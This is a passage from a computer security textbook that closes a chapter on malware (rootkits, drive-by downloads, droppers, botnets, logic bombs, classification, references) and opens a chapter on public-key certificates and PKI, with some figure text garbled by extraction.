reloading the swapped page. (This was done by Blue Pill, Section 7.9.)
5. Using interfaces to physical address space. For example, Direct Memory Access
(DMA) writes may be used to alter kernel memory, through hardware devices with
such access (e.g., video and sound cards, network cards, disk drives).
L OADABLE KERNEL MODULES . One method to install rootkits is through standard
tools that allow the introduction of OS kernel code. A loadable kernel module (LKM) is
executable code packaged as a component that can be added or removed from a running
kernel, to extend or retract kernel functionality (system calls and hardware drivers). Many
kernel rootkits are LKMs. Most commercial operating systems support some form of
dynamically loadable such kernel modules, and facilities to load and unload them—e.g.,
by specifying the module name at a command line interface. An LKM includes routines
to be called upon loading or unloading.
‡R EVIEW: LINKING AND LOADING . Generating an executable suitable for loading
involves several steps. A compiler turns source code into machine code, resulting in a
binary (i.e., object) file. A linker combines one or more object files to create an executable
file (program image). A loader moves this from disk into the target machine’s main
memory, relocating addresses if necessary. Static linkers are compile-time tools; loaders
are run-time tools, typically included in an OS kernel. Loaders that include dynamic
linkers can load executables and link in shared libraries (DLLs on Windows).
‡Exercise (Modular vs. monolithic root, kernel). Modularity provided by a core ker-
nel with loadable modules and device drivers does not provide memory isolation between
distinct kernel software components, nor partition access to kernel resources. Kernel com-
promise still grants malware control to read or write anything in kernel memory, if the en-
tire kernel operates in one privilege mode (vs. different hardware rings, Chapter 5). Linux
capabilities (Chapter 6) partition superuser privileges into finer-grained privileges, albeit
all in user space. Discuss how these issues relate to design principles P5 (ISOLATED -
COMPARTMENTS ), P6 ( LEAST- PRIVILEGE), and P7 ( MODULAR - DESIGN ).
U SER MODE ROOTKITS . On some systems including Windows, user mode rootkits
operate by intercepting, in the address space of user processes, resource enumeration
APIs. These are supported by OS functions that generate reports from secondary data
structures the OS builds to efficiently answer resource-related queries. Such a rootkit
filters out malware-related items before returning results. This is analogous to hooking
200 Chapter 7. Malicious Software
system calls in kernel space (without needing kernel privileges), but user mode rootkit
changes made to one application do not impact other user processes (alterations to shared
libraries will impact all user-space processes that use those libraries).
‡Exercise (User mode rootkit detection). It is easier to detect user mode rootkits than
kernel rootkits. Give a high-level explanation of how user mode rootkits can be detected
by a cross-view difference approach that compares the results returned by two API calls at
different levels. (Hint: [64], which also reports that by their measurements, back in 2005
over 90% of rootkit incidents reported in industry were user mode rootkits.)
‡Exercise (Keyjacking). DLL injection and API hooking are software techniques with
non-security uses, as well as uses in security defenses (e.g., anti-virus software) and at-
tacks (e.g., rootkit software middle-person attacks). Explain how DLL injection is a threat
to end-user private keys in client-side public-key infrastructure (hint: [34]).
‡P ROTECTING SECRETS AND LOCAL DATA . The risk of client-side malware mo-
tivates encrypting locally stored data. Encrypted filesystems automatically encrypt data
stored to the filesystem, and decrypt data upon retrieval. To encrypt all data written to
disk storage, either software or hardware-supported disk encryption can be used.
‡Exercise (Encrypting data in RAM). Secrets such as passwords and cryptographic
keys that are in cleartext form in main memory (RAM) are subject to compromise. For
example, upon system crashes, RAM memory is often written to disk for recovery or
forensic purposes. (a) What can be done to address this concern? (b) If client-side mal-
ware scans RAM memory to find crypto keys, are they easily found? (Hint: [51]).
‡Exercise (Hardware storage for secrets). Being concerned about malware access
to secret keys, you decide to store secrets in a hardware security module (HSM), which
prevents operating system and application software from directly accessing secret keys.
Does this fully address your concern, or could malware running on a host misuse the
HSM? (Hint: look up the confused deputy problem. Cf. Section 9.5.)
(1) landing
page
client (2)
browser distribu3on
(3) page
lines of script into a web page via a compromised or exploited server application, simply
visiting a web page can result in binary executable malware being silently downloaded
and run on the user device. This is called a drive-by download (Fig. 7.6).
M EANS OF DRIVE - BY EXPLOITATION . Drive-by downloads use several technical
means as now discussed. Questions to help our understanding are: how do malicious
scripts get embedded into web pages, how are malicious binaries downloaded, and why is
this invisible to users? Malicious scripts are embedded from various sources, such as:
1. web page ads (often provided through several levels of third parties);
2. web widgets (small third-party apps executed within a page, e.g., weather updates);
3. user-provided content reflected to others via sites (e.g., web forums) soliciting input;
4. malicious parameters as part of links (URLs) received in HTML email.
A short script can redirect a browser to load a page from an attacker site, with that page
redirecting to a site that downloads binaries to the user device. Silent downloading and
running of a binary should not be possible, but often is, through scripts that exploit
browser vulnerabilities—most vulnerabilities eventually get fixed, but the pool is deep,
attackers are creative, and software is always evolving. Note that the legitimate server ini-
tially visited is not involved in the latter steps (Fig. 7.6). Redirects generally go unnoticed,
being frequent and rapid in legitimate browsing, and injected content is easy to hide, e.g.,
using invisible components like a zero-pixel iframe.
D EPLOYMENT MEANS VS . MALWARE CATEGORY. Drive-by downloads can in-
stall various types of malware—including keyloggers, backdoors, and rootkits—and may
result in zombies being recruited into botnets. Rather than a separate malware category,
one may view drive-by downloads as a deployment means or spreading method that ex-
ploits features of browser-server ecosystems. As a distinguishing spreading characteristic
here, the victim devices visit a compromised web site in a pull model. (Traditional worms
spread in a push model, with a compromised source initiating contact with next-victims.)
D ROPPERS ( DOWNLOADERS ). A dropper is malware that installs (on a victim host)
other malware that contains a malicious payload. If this involves downloading additional
malware pieces, the dropper may be called a downloader. Droppers may install backdoors
202 Chapter 7. Malicious Software
(page 195) to aid installation and update. The payload may initiate network communica-
tions to a malware source or control center, or await contact. The initial malware installed,
or a software package including both the dropper and its payload, may be called the egg.
The dropper itself may arrive by any means including virus, worm, drive-by download, or
user-installed Trojan horse software.
Example (Babylonia dropper). One of the first widely spread malware programs with
dropper functionality was the Babylonia (1999) virus. After installation, it downloaded
additional files to execute. Being non-malicious, it gained little notoriety, but its function-
ality moved the world a step closer to botnets (Section 7.7).
model. Initially, control communications were over (Internet Relay Chat) IRC channels,
allowing the herder to send one-to-many commands. Such centralized systems have a sin-
gle point of failure—the central node (or a centralized communication channel), if found,
can be shut down. The channel is obvious if zombies are coded to contact a fixed IRC
server, port and channel; using a set of such fixed channels brings only marginal improve-
ment. More advanced botnets use peer-to-peer communications, coordinating over any
suitable network protocol (including HTTPS); or use a multi-tiered communication hier-
archy in which the bot herder at the top is insulated from the zombies at the bottom by
layers of intermediate or proxy communication nodes. For zombie machines that receive
control information (or malware updates) by connecting to a fixed URL, one creative tac-
tic used by bot herders is to arrange the normal DNS resolution process to resolve the URL
to different IP addresses after relatively short periods of time. Such tactics complicate the
reverse engineering and shutdown of botnets.
‡Exercise (Torpig 2006). The Torpig botnet involves use of a rootkit (Mebroot) to
replace master boot records. In 2009, it was studied in detail by a research team that
seized control of it for 10 days. Summarize technical details of this botnet (hint: [60]).
‡Exercise (Zeus 2007). Summarize technical details of Zeus bank Trojan/credential-
stealing malware. (Hint: [4], [1]. Its control structure has evolved along with deployment
related to keylogging, ransomware and botnets; source code became available in 2011.)
‡Exercise (Other botnets). Summarize technical details of these botnets (others are in
Chapter 11): a) Storm, b) Conficker, c) Koobface, d) BredoLab, e) ZeroAccess.
‡Exercise (Botnet motivation). Discuss early motivations for botnets (hint: [5]).
Z ERO - DAY EXPLOITS . A zero-day exploit (zero-day) is an attack taking advantage
of a software vulnerability that is unknown to developers of the target software, the users,
and the informed public. The terminology derives from an implied timeline—the day
a vulnerability becomes known is the first day, and the attack precedes that. Zero-days
thus have free reign for a period of time; to stop them requires that they be detected,
understood, countermeasures be made available, and then widely deployed. In many non-
zero-day attacks, software vulnerabilities are known, exploits have been seen “in the wild”
(in the real world, beyond research labs), software fixes and updates are available, and yet
for various reasons the fixes remain undeployed. The situation is worse with zero-days—
the fixes are still a few steps from even being available. The big deal about zero-days is
the element of surprise and extra time this buys attackers.
L OGIC BOMBS . A logic bomb is a sequence of instructions, often hosted in a larger
program, that takes malicious action under a specific (set of) condition(s), e.g., when a
particular user logs in, or a specific account is deactivated (such as when an employee is
fired). If the condition is a specific date, it may be called a time bomb. In pseudo-code:
if trigger condition true() then run payload()
This same construct was in our pseudo-code descriptions of viruses and worms. The term
logic bomb simply emphasizes that a malicious payload is conditional, putting the bad
outcome under programmatic control. From this viewpoint, essentially all malware is a
form of logic bomb (often with default trigger condition TRUE). Thus logic bombs are
7.8. Social engineering and categorizing malware 205
spread by any means that spreads malware (e.g., viruses, worms, drive-by downloads).
‡R ABBITS . If a new category of malware was defined for each unique combination of
features, the list would be long, with a zoo of strange animals as in the Dr. Seuss children’s
book I Wish That I Had Duck Feet (1965). While generally unimportant in practice,
some remain useful to mention, to give an idea of the wide spectrum of possibilities, or
simply to be aware of terminology. For example, the term rabbit is sometimes used to
describe a type of virus that rapidly replicates to consume memory and/or CPU resources
to reduce system performance on a host; others have used the same term to refer to a type
of worm that “hops” between machines, removing itself from the earlier machine after
having found a new host—so it replicates, but without population growth.
‡E ASTER EGGS . While not malware, but of related interest, an Easter egg is a harm-
less Trojan—a special feature, credit, or bonus content hidden in a typically large program,
accessed through some non-standard means, special keystroke sequence or codeword.
‡Exercise (Easter eggs: history). Look up and summarize the origin of the term
Easter egg in the context of computer programs. Give three historical examples.
Today, essentially all email clients disable running of embedded scripts; embedded im-
ages (which commonly retrieve resources from external sites) are also no longer loaded
by default, instead requiring an explicit click of a “load external images” button.
Example (.zip files). Filename extensions such as .zip, .rar and .sfx indicate
a package of one or more compressed files. These may be self-extracting executables,
containing within them scripts to uncompress, unpack, save files to disk, and begin an
execution, without use of external utilities. This process may be supported depending on
OS and host conventions, triggered by a double-click. If the package contains malware,
on-host anti-virus (anti-malware) tools may provide protection if the unpacked software is
recognizable as malicious. Few users appreciate what their double-click authorizes, and
little reliable information is easily available on the scripts and executables to be executed.
Exercise (Clicking to execute). If a user interface hides filename extensions, and there
is an email attachment prettyPicture.jpg.exe, what filename will the user see?
‡Exercise (Socially engineering malware installation). Consider web-based malware
installation through social engineering. Summarize tactics for: (a) gaining user attention;
and (b) deception and persuasion. (Hint: [41].)
‡Exercise (Design principles). Consider security design principles P1 (SIMPLICITY-
AND - NECESSITY ), P2 ( SAFE - DEFAULTS ), P5 ( ISOLATED - COMPARTMENTS ), P6 ( LEAST-
PRIVILEGE), P10 ( LEAST- SURPRISE). Discuss how they relate to malware in the above
examples of: (a) HTML email and auto-preview; and (b) self-extracting executables.
M ALWARE CLASSIFICATION BY OBJECTIVES . One way to categorize malware is
to consider its underlying goals. These may include the following.
1. Damage to host and its data. The goal may be intentional destruction of data, or
disrupting the host machine. Examples include crashing the operating system, and
deletion, corruption, or modification of files or entire disks.
2. Data theft. Documents stolen may be corporate strategy files, intellectual property,
credit card details, or personal data. Credentials stolen, e.g., account passwords or
crypto keys, may allow fraudulent account login, including to online banking or enter-
prise accounts; or be sold en masse, to others on underground or non-public networks
(e.g., darknets). Stolen information is sent to attacker-controlled computers.
3. Direct financial gain. Direct credit card risks include deceiving users into purchasing
unneeded online goods such as fake anti-virus software. Users may also be extorted,
as in the case of ransomware. Malware may generate revenue by being rented out,
e.g., on darknets (above).
4. Ongoing surveillance. User voice, camera video, and screen actions may be recorded
surreptitiously, by microphones and web cameras on mobile and desktop devices, or
by software that records web sites visited, keystrokes and mouse movements.
5. Spread of malware. Compromised machines may be used to further spread malware.
6. Control of resources. Once a machine is compromised, code may be installed for
later execution or backdoor access. Remote use is made of computing cycles and
communication resources for purposes including botnet service, bitcoin mining, as a
host server for phishing, or as a stepping stone for further attacks (reducing risk that
7.9. ‡End notes and further reading 207
Table 7.2: Malware categories and properties. Botnets (unlisted), rather than a separate
malware category, control other (zombie) malware. Codes for infection vector: U (user-
enabled), N (network service vulnerability), E (social engineering), T (intruder, including
when already resident malware or dropper installs further malware), S (insider, e.g., devel-
oper, administrator, compromised web site hosting malware). †Any category that breeds
may spread a dropper (Section 7.6) for other types, e.g., rootkits, ransomware. HThe
number of download sites does not increase, but site visits propagate malware.
an attack is traced back to the originating agent). Zombies enlisted to send spam are
called spambots; those in a DDoS botnet are DDoS zombies.
M ALWARE CLASSIFICATION BY TECHNICAL PROPERTIES . Another way to catego-
rize malware is by technical characteristics. The following questions guide us.
a) Does it breed (self-replicate)? Note that a drive-by download web site causes malware
to spread, but the site itself does not self-replicate. Similarly, Trojans and rootkits
may spread by various means, but such means are typically independent of the core
functionality that characterizes them.
b) Does it require a host program, as a parasite does?
c) Is it covert (stealthy), taking measures to evade detection and hide its functionality?
d) By what vector does infection occur? Automatically over networks or with user help?
If the latter, does it involve social engineering to persuade users to take an action
triggering installation (even if as simple as a mouseclick on some user interfaces)?
e) Does it enlist the aid of an insider (with privileges beyond that of an external party)?
f) Is it transient (e.g., active content in HTML pages) or persistent (e.g., on startup)?
Table 7.2 summarizes many of these issues, to close the chapter.
overview by Cohen [9]. Our non-existence proof (Section 7.2) is from Cohen’s book [10]
based on one-day short courses. Ludwig’s earlier book [32] includes assembler, with a
free online electronic edition. See Duff [15] for early Unix viruses (cf. McIlroy [36]).
Other sources of information about malware include the U.S. NVD (National Vulnerabil-
ity Database) [42], the related CVE list (Common Vulnerabilities and Exposures) [38], the
Common Weakness Enumeration (CWE) dictionary of software weakness types [39], and
the SecurityFocus vulnerability database [50]. The industry-led Common Vulnerability
Scoring System (CVSS) rates the severity of security vulnerabilities.
Kong [28] gives details on developing Unix kernel rootkits, with focus on maintaining
(rather than developing exploits to gain) root access; for Windows kernel rootkits, see
Hoglund [20] and Kasslin [24]. The Shellcoder’s Handbook [2] details techniques for
running attacker-chosen code on victim machines, noting “The bad guys already know
this stuff; the network-auditing, software-writing, and network-managing public should
know it too”; similarly see Stuttard [61] and McClure [35]. Many of these attacks exploit
the mixing of code and data, including to manipulate code indirectly (vs. overwriting code
pointers to alter control flow directly). For greater focus on the defender, see Skoudis and
Zeltser [55], Skoudis and Liston [54], and (emphasizing reverse engineering) Peikari [43].
Tracking an intruder differs from addressing malware—see Stoll [59].
Staniford [58] analyzes the spread of worms (e.g., Code Red, Nimda) and ideas for
flash worms. See Hunt [22] for the Detour tool, DLL interception (benign) and trampo-
lines to instrument and functionally extend Windows binaries. For a gentle introduction
to user mode and kernel rootkit techniques and detection, see Garcia [6]. To detect user
mode rootkits, see Wang [64]. Jaeger [23] discusses hardening kernels against rootkit-
related malware that abuses standard means to modify kernel code. For hardware-based
virtual machines (HVMs), virtual machine monitors and hypervisor rootkits (including
discussion of Blue Pill [48]), see SubVirt [27] and Desnos [14]. For drive-by downloads
see Provos [44, 45]. For related studies of droppers and detecting them via analysis of
downloader graphs, see Kwon [30]. For the underground economy business model of dis-
tributing malware on a pay-per-install basis and the resulting distribution structure, see
Caballero [7]. In 1996, Young [65, 66] explained how public-key cryptography strength-
ened a reversible denial of service attack called cryptovirology (now ransomware). For
defenses against file-encrypting ransomware, see Scaife [49] and UNVEIL [25]; for static
analysis of WannaCry, see Hsiao [21]. On botnets aside from the exercises in Section
7.7, see Cooke [11] for an introduction, Shin [53] for Conficker, and BotMiner [18] for
detection.
Code signing of applications and OS code, using dedicated code signing certificates, is
a defense against running unauthorized programs. For an overview of Windows Authenti-
code, requirements for signing user and kernel mode drivers, and abuses, see Kotzias [29]
and Kim [26]. For a history of Linux kernel module signing, see Shapiro [52]. Meijer [37]
explains severe vulnerabilities in commodity hardware disk encryption.
References (Chapter 7)
[1] D. Andriesse, C. Rossow, B. Stone-Gross, D. Plohmann, and H. Bos. Highly resilient peer-to-peer
botnets are here: An analysis of Gameover Zeus. In Malicious and Unwanted Software (MALWARE),
pages 116–123, 2013.
[2] C. Anley, J. Heasman, F. Lindner, and G. Richarte. The Shellcoder’s Handbook: Discovering and
Exploiting Security Holes (2nd edition). Wiley, 2007.
[3] J. Aycock. Computer Viruses and Malware. Springer Science+Business Media, 2006.
[4] H. Binsalleeh, T. Ormerod, A. Boukhtouta, P. Sinha, A. M. Youssef, M. Debbabi, and L. Wang. On the
analysis of the Zeus botnet crimeware toolkit. In Privacy, Security and Trust (PST), pages 31–38, 2010.
[5] D. Bradbury. The metamorphosis of malware writers. Computers & Security, 25(2):89–90, 2006.
[6] P. Bravo and D. F. Garcia. Rootkits Survey: A concealment story. Manuscript, 2009, https://
yandroskaos.github.io/files/survey.pdf.
[7] J. Caballero, C. Grier, C. Kreibich, and V. Paxson. Measuring pay-per-install: The commoditization of
malware distribution. In USENIX Security, 2011. See also K. Thomas et al., USENIX Security, 2016.
[8] A. Chakrabarti. An introduction to Linux kernel backdoors. The Hitchhiker’s World, Issue #9, 2004.
https://www.infosecwriters.com/HHWorld/hh9/lvtes.txt.
[9] F. Cohen. Implications of computer viruses and current methods of defense. Article 22, pages 381–406,
in [13], 1990. Updates earlier version in Computers and Security, 1988.
[10] F. B. Cohen. A Short Course on Computer Viruses (2nd edition). John Wiley, 1994.
[11] E. Cooke and F. Jahanian. The zombie roundup: Understanding, detecting, and disrupting botnets. In
Steps to Reducing Unwanted Traffic on the Internet (SRUTI), 2005.
[12] D. A. Curry. UNIX System Security: A Guide for Users and System Administrators. Addison-Wesley,
1992.
[13] P. J. Denning, editor. Computers Under Attack: Intruders, Worms, and Viruses. Addison-Wesley, 1990.
Edited collection (classic papers, articles of historic or tutorial value).
[14] A. Desnos, E. Filiol, and I. Lefou. Detecting (and creating!) an HVM rootkit (aka BluePill-like). J.
Computer Virology, 7(1):23–49, 2011.
[15] T. Duff. Experience with viruses on UNIX systems. Computing Systems, 2(2):155–171, 1989.
[16] M. W. Eichin and J. A. Rochlis. With microscope and tweezers: An analysis of the Internet virus of
November 1988. In IEEE Symp. Security and Privacy, pages 326–343, 1989.
[17] N. Falliere, L. O. Murchu, and E. Chien. W32.Stuxnet Dossier. Report, ver. 1.4, 69 pages, Symantec
Security Response, Cupertino, CA, February 2011.
[18] G. Gu, R. Perdisci, J. Zhang, and W. Lee. BotMiner: Clustering analysis of network traffic for protocol-
and structure-independent botnet detection. In USENIX Security, pages 139–154, 2008.
[19] J. A. Halderman and E. W. Felten. Lessons from the Sony CD DRM episode. In USENIX Security,
2006.
209
210 References (Chapter 7)
[20] G. Hoglund and J. Butler. Rootkits: Subverting the Windows Kernel. Addison-Wesley, 2005.
[21] S.-C. Hsiao and D.-Y. Kao. The static analysis of WannaCry ransomware. In Int’l Conf. Adv. Comm.
Technology (ICACT), pages 153–158, 2018.
[22] G. Hunt and D. Brubacher. Detours: Binary interception of Win32 functions. In 3rd USENIX Windows
NT Symp., 1999.
[23] T. Jaeger, P. van Oorschot, and G. Wurster. Countering unauthorized code execution on commodity
kernels: A survey of common interfaces allowing kernel code modification. Computers & Security,
30(8):571–579, 2011.
[24] K. Kasslin, M. Ståhlberg, S. Larvala, and A. Tikkanen. Hide’n seek revisited – full stealth is back. In
Virus Bulletin Conf. (VB), pages 147–154, 2005.
[25] A. Kharraz, S. Arshad, C. Mulliner, W. K. Robertson, and E. Kirda. UNVEIL: A large-scale, automated
approach to detecting ransomware. In USENIX Security, pages 757–772, 2016.
[26] D. Kim, B. J. Kwon, and T. Dumitras. Certified malware: Measuring breaches of trust in the Windows
code-signing PKI. In ACM Comp. & Comm. Security (CCS), pages 1435–1448, 2017.
[27] S. T. King, P. M. Chen, Y.-M. Wang, C. Verbowski, H. J. Wang, and J. R. Lorch. SubVirt: Implementing
malware with virtual machines. In IEEE Symp. Security and Privacy, pages 314–327, 2006.
[28] J. Kong. Designing BSD Rootkits: An Introduction to Kernel Hacking. No Starch Press, 2007.
[29] P. Kotzias, S. Matic, R. Rivera, and J. Caballero. Certified PUP: Abuse in Authenticode code signing.
In ACM Comp. & Comm. Security (CCS), pages 465–478, 2015.
[30] B. J. Kwon, J. Mondal, J. Jang, L. Bilge, and T. Dumitras. The dropper effect: Insights into malware
distribution with downloader graph analytics. In ACM Comp. & Comm. Security (CCS), 2015.
[31] M. Lipp, M. Schwarz, D. Gruss, T. Prescher, W. Haas, A. Fogh, J. Horn, S. Mangard, P. Kocher,
D. Genkin, Y. Yarom, and M. Hamburg. Meltdown: Reading kernel memory from user space. In
USENIX Security, pages 973–990, 2018. See also “Spectre Attacks”, Kocher et al., IEEE Symp. 2019.
[32] M. Ludwig. The Little Black Book of Computer Viruses. American Eagle Publications, 1990. A rela-
tively early exposition on programming computer viruses, with complete virus code; the 1996 electronic
edition was made openly available online.
[33] J. Ma, G. M. Voelker, and S. Savage. Self-stopping worms. In ACM Workshop on Rapid Malcode
(WORM), pages 12–21, 2005.
[34] J. Marchesini, S. W. Smith, and M. Zhao. Keyjacking: The surprising insecurity of client-side SSL.
Computers & Security, 24(2):109–123, 2005.
[35] S. McClure, J. Scambray, and G. Kurtz. Hacking Exposed 6: Network Security Secrets and Solutions
(6th edition). McGraw-Hill, 2009.
[36] M. D. McIlroy. Virology 101. Computing Systems, 2(2):173–181, 1989.
[37] C. Meijer and B. van Gastel. Self-encrypting deception: Weaknesses in the encryption of solid state
drives. In IEEE Symp. Security and Privacy, 2019.
[38] Mitre Corp. CVE–Common Vulnerabilities and Exposures. https://cve.mitre.org/cve/index.
html.
[39] Mitre Corp. CWE–Common Weakness Enumeration: A Community-Developed Dictionary of Software
Weakness Types. https://cwe.mitre.org.
[40] C. Nachenberg. Computer virus-antivirus coevolution. Comm. ACM, 40(1):46–51, 1997.
[41] T. Nelms, R. Perdisci, M. Antonakakis, and M. Ahamad. Towards measuring and mitigating social
engineering software download attacks. In USENIX Security, 2016.
[42] NIST. National Vulnerability Database. U.S. Dept. of Commerce. https://nvd.nist.gov/.
[43] C. Peikari and A. Chuvakin. Security Warrior. O’Reilly Media, 2004.
References (Chapter 7) 211
[44] N. Provos, P. Mavrommatis, M. A. Rajab, and F. Monrose. All your iFRAMEs point to us. In USENIX
Security, 2008.
[45] N. Provos, D. McNamee, P. Mavrommatis, K. Wang, and N. Modadugu. The ghost in the browser:
Analysis of web-based malware. In USENIX HotBots, 2007.
[46] J. A. Rochlis and M. W. Eichin. With microscope and tweezers: The Worm from MIT’s perspective.
Comm. ACM, 32(6):689–698, 1989. Reprinted as [13, Article 11]; see also more technical paper [16].
[47] A. D. Rubin. White-Hat Security Arsenal. Addison-Wesley, 2001.
[48] J. Rutkowska. Subverting Vista kernel for fun and profit. Blackhat talk, 2006. http://blackhat.
com/presentations/bh-usa-06/BH-US-06-Rutkowska.pdf.
[49] N. Scaife, H. Carter, P. Traynor, and K. R. B. Butler. CryptoLock (and Drop It): Stopping ransomware
attacks on user data. In IEEE Int’l Conf. Distributed Computing Systems, pages 303–312, 2016.
[50] SecurityFocus. Vulnerability Database. http://www.securityfocus.com/vulnerabilities,
Symantec.
[51] A. Shamir and N. van Someren. Playing “hide and seek” with stored keys. In Financial Crypto, pages
118–124, 1999. Springer LNCS 1648.
[52] R. Shapiro. A History of Linux Kernel Module Signing. https://cs.dartmouth.edu/˜bx/blog/
2015/10/02/a-history-of-linux-kernel-module-signing.html, 2015 (Shmoocon 2014 talk).
[53] S. Shin and G. Gu. Conficker and beyond: A large-scale empirical study. In Annual Computer Security
Applications Conf. (ACSAC), pages 151–160, 2010. Journal version: IEEE TIFS, 2012.
[54] E. Skoudis and T. Liston. Counter Hack Reloaded: A Step-by-Step Guide to Computer Attacks and
Effective Defenses (2nd edition). Prentice Hall, 2006 (first edition: 2001).
[55] E. Skoudis and L. Zeltser. Malware: Fighting Malicious Code. Prentice Hall, 2003.
[56] E. H. Spafford. Crisis and aftermath. Comm. ACM, 32(6):678–687, 1989. Reprinted: [13, Article 12].
[57] E. H. Spafford, K. A. Heaphy, and D. J. Ferbrache. A computer virus primer. Article 20, pages 316–355,
in [13], 1990.
[58] S. Staniford, V. Paxson, and N. Weaver. How to 0wn the Internet in your spare time. In USENIX
Security, 2002.
[59] C. Stoll. The Cuckoo’s Egg. Simon and Schuster, 1989.
[60] B. Stone-Gross, M. Cova, L. Cavallaro, B. Gilbert, M. Szydlowski, R. A. Kemmerer, C. Kruegel, and
G. Vigna. Your botnet is my botnet: Analysis of a botnet takeover. In ACM Comp. & Comm. Security
(CCS), pages 635–647, 2009. Shorter version: IEEE Security & Privacy 9(1):64–72, 2011.
[61] D. Stuttard and M. Pinto. The Web Application Hacker’s Handbook. Wiley, 2008.
[62] P. Szor. The Art of Computer Virus Research and Defense. Addison-Wesley and Symantec Press, 2005.
[63] K. Thompson. Reflections on trusting trust. Comm. ACM, 27(8):761–763, 1984.
[64] Y. Wang and D. Beck. Fast user-mode rootkit scanner for the enterprise. In Large Installation Sys.
Admin. Conf. (LISA), pages 23–30. USENIX, 2005.
[65] A. L. Young and M. Yung. Cryptovirology: Extortion-based security threats and countermeasures. In
IEEE Symp. Security and Privacy, pages 129–140, 1996.
[66] A. L. Young and M. Yung. On ransomware and envisioning the enemy of tomorrow. IEEE Computer,
50(11):82–85, 2017. See also same authors: “Cryptovirology”, Comm. ACM 60(7):24–26, 2017.
Computer Security and the Internet: Tools and Jewels (2e)
Chapter 8
Public-Key Certificate Management and Use Cases
Copyright
2020-2022
c Paul C. van Oorschot. Under publishing license to Springer.
This chapter explains certificate management and public-key infrastructure (PKI), what
they provide, technical mechanisms and architectures, and challenges. Two major certifi-
cate use cases are also considered here as examples: TLS as used in HTTPS for secure
browser-server communications, and end-to-end encrypted email. Additional applications
include SSH and IPsec (Chapter 10), DNSSEC (Chapter 11), and trusted computing.
In distributed systems, cryptographic algorithms and protocols provide the founda-
tions for access control to remote computing resources and data services, and for autho-
rization to change or store data, and to remotely execute commands. Authentication is
a common first step in authorization and access control. When passwords are used for
remote authentication, they typically travel over a channel itself secured by authentica-
tion and confidentiality based on cryptographic keys. These keys protect not only data in
transit but also data at rest (stored). Key management—the collection of mechanisms and
protocols for safely and conveniently distributing such keys—includes managing not only
session keys per Chapter 4, but public keys (as discussed herein) and their corresponding
long-term private keys.
214
8.1. Certificates, certification authorities and PKI 215
to know, and protect, the corresponding private key. The danger is that if the encryption
public key of an intended recipient B is substituted by that of an opponent, the opponent
could use their own private key to recover the plaintext message intended for B.
P UBLIC - KEY CERTIFICATES . A public-key certificate is used to associate a public
key with an owner (i.e., the entity having the matching private key, and ideally the only
such entity). The certificate is a data structure that binds a public key to a named Subject,
by means of a digital signature generated by a trusted third party called a Certification
Authority (CA). The signature represents the CA’s assertion that the public key belongs to
the named Subject; having confidence in this assertion requires trust that the CA making
it is competent and reliable on such statements. Any party that relies on the certificate—
i.e., any relying party—places their trust in the issuing CA, and requires the corresponding
valid public key of that CA in order to verify this signature. Verifying the correctness of
this signature is one of several steps (Section 8.2) that the relying party’s system must
carry out as part of checking the overall validity of the target public-key certificate.
N AMES IN CERTIFICATES . The certificate fields Subject (owner) and Issuer
(signing CA) in Table 8.1 are of data type Name. Name is a set of attributes, each a pair
<attribute name, value>. Collectively, the set provides a unique identifier for the named
entity, i.e., serves as a distinguished name (DN). Commonly used attributes include:
Country (C), Organization (O), Organizational Unit (OU), and Common-Name (CN).
Examples are given later in the chapter (Figures 8.9 and 8.11).
C ERTIFICATE FIELDS . Beyond the public key, Subject and Issuer names, and
CA signature, a certificate contains other attribute fields that allow proper identification
and safe use of the public key (Table 8.1). These include: format version, serial number,
validity period, and signature algorithm details. The public-key field has two components,
to identify the public-key algorithm and the public-key value itself. X.509v3 certificates,
which are the certificates most commonly used in practice, have both these basic fields and
extension fields (Section 8.2). The CA signature is over all fields for integrity protection,
i.e., the hash value digitally signed encompasses all bits of all fields in the certificate.
216 Chapter 8. Public-Key Certificate Management and Use Cases
user registra8on
user ini8aliza8on cer8ficate
3 policies
key genera8on 4 cer8ficate request protocol
new keys
CA
key update 4
(with RA)
public key
key key installa8on registra8on
recovery revoca8on cer8ficate
1 normal key use cert
2 key
revoca8on status cer8ficate
backup info directory
& session key
archival establishment
publicly available informa8on
1 key loss without compromise 2 key compromise or early termina8on 3 private key management
it as such—in this case ideally also presenting the user information allowing a certificate
fingerprint check as discussed (Fig. 8.10, page 232, shows two fingerprints). Users may
accept the certificate without bothering to check, or may have insufficient information or
understanding to check properly—but if they accept, they do so at their own risk, even if
they do not understand this or the consequences of doing so.
An analogous situation arises if the received certificate is CA-signed but the receiving
software has no trust anchor or chain allowing its programmatic verification. Again, the
client application may be programmed to allow users to accept (“trust”) such certificates
“by manual decision”. This violates a basic usable security4 principle—users should not
be asked to take decisions that they do not have sufficient information to make properly—
but it is a common shortcut when software designers don’t have better design ideas.
T RUST ON FIRST USE (TOFU). If a self-signed certificate is accepted (relied on
as “trusted”) the first time it is received from a remote party, without any cross-check or
assurance that it is authentic, this is called trust on first use (TOFU). To emphasize the
risk, and lack of cross-check, it is also called blind TOFU or leap-of-faith trust. Some
software interfaces ask the user whether the key should be accepted for one-time use only,
or trusted for all future uses; the latter is sometimes assumed silently with the public key
stored (within its certificate packaging), associated with that party, application or domain,
and checked for a match (key continuity) on subsequent uses. If an active attacker provided
a forged certificate on this first occurrence, the gamble is lost; but otherwise, the gamble
is won and subsequent trust is justified. If a fingerprint is cross-checked once before first
use, rather than “TOFU” we may call it check on first use (COFU).
T RUST ANCHOR JUSTIFICATION . TOFU is common when SSH (Chapter 10) is
configured for authentication with user password and server public key. On first visit to an
SSH server, the SSH client receives the server public key and is given an option to accept
it. If the user accepts (after optionally cross-checking its fingerprint), the client stores
the public key (for future use) and uses it to establish a secure channel; a user-entered
password is then sent over this channel for user authentication to the server. On return
visits to this server, the newly received public key is (silently) cross-checked with the
stored key. This highlights a critical point: many PKI tools are designed to fully automate
trust management after initial keys are set as trusted, proceeding thereafter without user
involvement, silently using any keys or trust anchors accepted or configured in error. The
importance of attention and correctness in such manual trust decisions motivates principle
P17 (TRUST- ANCHOR - JUSTIFICATION). This applies when accepting keys or certificates
as trusted, especially by non-technical users, in applications such as browsers (HTTPS
certificates), secure email clients (PGP, S/MIME certificates), and SSH as above.
X.509 V 3 EXTENSIONS . Version 3 of the X.509 certificate standard added certificate
extension fields. These are marked either critical or non-critical. An older system may
encounter an extension field that it is unable to interpret. If the field is marked non-critical,
